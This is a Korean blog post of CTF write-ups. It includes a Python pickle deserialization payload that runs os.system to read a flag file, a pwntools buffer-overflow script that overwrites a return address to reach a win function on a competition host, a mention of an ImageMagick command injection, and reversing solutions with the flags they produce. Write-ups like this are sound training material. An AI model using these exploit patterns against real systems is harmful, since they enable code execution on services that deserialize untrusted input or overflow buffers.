문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
[Pwnable]
Jellyspotters
python pickle 취약점
기능들 막 보다가 pickle 취약점임을 확인했다. 바로 얼마전에 pickle 문제 풀었었는데, 그때도 load할 때 base64 디코딩을 했었다. 그래서 코드 복붙해서 풀었당.
import pickle
import base64
import os
from pwn import *
class Vuln(object):
def __reduce__(self):
return (os.system, ('cat ~/flag.txt', ))
pickle_data = pickle.dumps(Vuln())
data_bytes = pickle_data.encode('ascii')
data_base64 = base64.b64encode(data_bytes)
data_base64_str = data_base64.decode('ascii')
print data_base64_str
Bofit
단순한 BOF 문제
코드보면 Shout it! 할때 gets로 입력받아서 BOF가 대놓고 터진다. 저기를 공략하면 됨
from pwn import *
context.log_level = 'DEBUG'
#p = process('./bofit')
p = remote('umbccd.io', 4100)
e = ELF('./bofit')
p.sendline('B')
while True:
tmp = p.recvuntil('Pull it!', timeout=3)
if tmp:
p.sendline('P')
tmp2 = p.recvuntil('Twist it!', timeout=3)
if tmp2:
p.sendline('T')
tmp3 = p.recvuntil('BOF it!', timeout=3)
if tmp3:
p.sendline('B')
tmp4 = p.recvuntil('Shout it!', timeout=3)
if tmp4:
payload = ''
payload += 'a' * (0x30+0x8)
payload += p64(e.symbols['win_game'])
p.sendline(payload)
break;
p.interactive()
MDL Considered Harmful
참고로 대회 당시 내가 못 풀었던 문제인데, 롸업보고 신기해서 작성해봄
Imagemagick command injection
디스코드 봇한데 /help 치면 저렇게 친절하게 잘 알려준다.
디스코드에 저거 힌트로 이미지매직 커맨드 인젝션이라고 알려줬었는데, 너무 영문서라서 보다가 그만뒀다. 지금 내가 보던 문서 보다 보니까 그거 보고도 충분히 문제 풀 수 있었는 것 같다 ㅜ
https://legacy.imagemagick.org/Usage/text/#label_lines
[Binary Bomb]
한 바이너리에 9문제(+보너스)문제가 있다. flags.txt 파일에 한줄씩 각 phase의 답을 적고 프로그램에서 한줄씩 읽어서 인풋값에 넣는 방식이다.
BBomb-Phase1
v4가 1의 값으로 리턴되어야지 성공이다.
내가 인풋으로 'Gn1r7s_3h7_Gn1Rev3R'를 넣었었는데, 처음에 'R'과 'G'를 비교를 하는 것이다. 그래서 본능적으로 값을 뒤집었다.
R3veR51nG_7h3_s7r1nG
BBomb-Phase2
str = 'Dk52m6WZw@s6w0dIZh@2m5a'
flag = ''
print type(str)
for i in range(len(str)):
#print type(ord(str[i]))
print chr(ord(str[i]) ^ 5)
#print flag
An07h3R_rEv3r5aL_mE7h0d
BBomb-Phase3
브루트 포싱 하면 된다.
def func3_1(a):
if (a>0x40 and a<=0x5a):
a -= 0xd
if (a > 0x40):
b = 0
else:
b = 0x1a
a += b
if (a>0x60 and a<=0x7a):
a -= 0xd
if (a > 0x60):
b = 0
else:
b = 0x1a
a += b
return a
def func3_2(a):
if (a>0x20 and a!=0x7f):
a -= 0x2f
if (a>0x20):
b = 0
else:
b = 0x5e
a += b
return a
#data = "\"_9~Jb0!=A`G!06qfc8',27h,'_20uf6`2%7"
data = "\"_9~Jb0!=A`G!06qfc8'_20uf6`2%7"
flag = ''
for i in range(len(data)):
for j in range(0xff+1):
tmp = func3_1(j)
if (func3_2(tmp) == ord(data[i])):
flag += chr(j)
break
print flag
D0uBl3_Cyc1iC_rO74tI0n_S7r1nGs
BBomb-Bonus phase!
얘도 대회때 못풀었다.(?) 플래그는 얻었지만 인증을 안했다.
마지막에 저거 진심 0.5초?정도 보여주고 사라지는데, 난 이걸 동영상 찍어서 확인했다 ㅎㅎ;ㅋㅋ
저 플래그가 뭔 플래그인지 궁금했는데... 보너스 phase였군.. 내 기억상 저거 답 전부 입력해봤던 걸로 기억하는데 오타났던것 같다 ㅠ
'CTF > Write UPs' 카테고리의 다른 글
[SanDiegoCTF 2021 : pwnable] Unique Lasso 풀이 (Sig ROP) (0) | 2021.05.10 |
---|---|
[SanDiegoCTF 2021 : pwnable] Flag dROPper 풀이 (0) | 2021.05.10 |
[2021 HSPACE CTF : Pwnable] ALL Clear! writeups (04.26 23:59 이후 공개) (0) | 2021.04.27 |
[TAMUctf 2021 : Pwnable] Shellcode_Golf, Shellcode_Golf_2 풀이 (64bit, shellcode 제작, mmap, mprotect) (수정) (0) | 2021.04.26 |
[TAMUctf 2021 : Pwnable] 내가 푼 문제들 풀이 (0) | 2021.04.26 |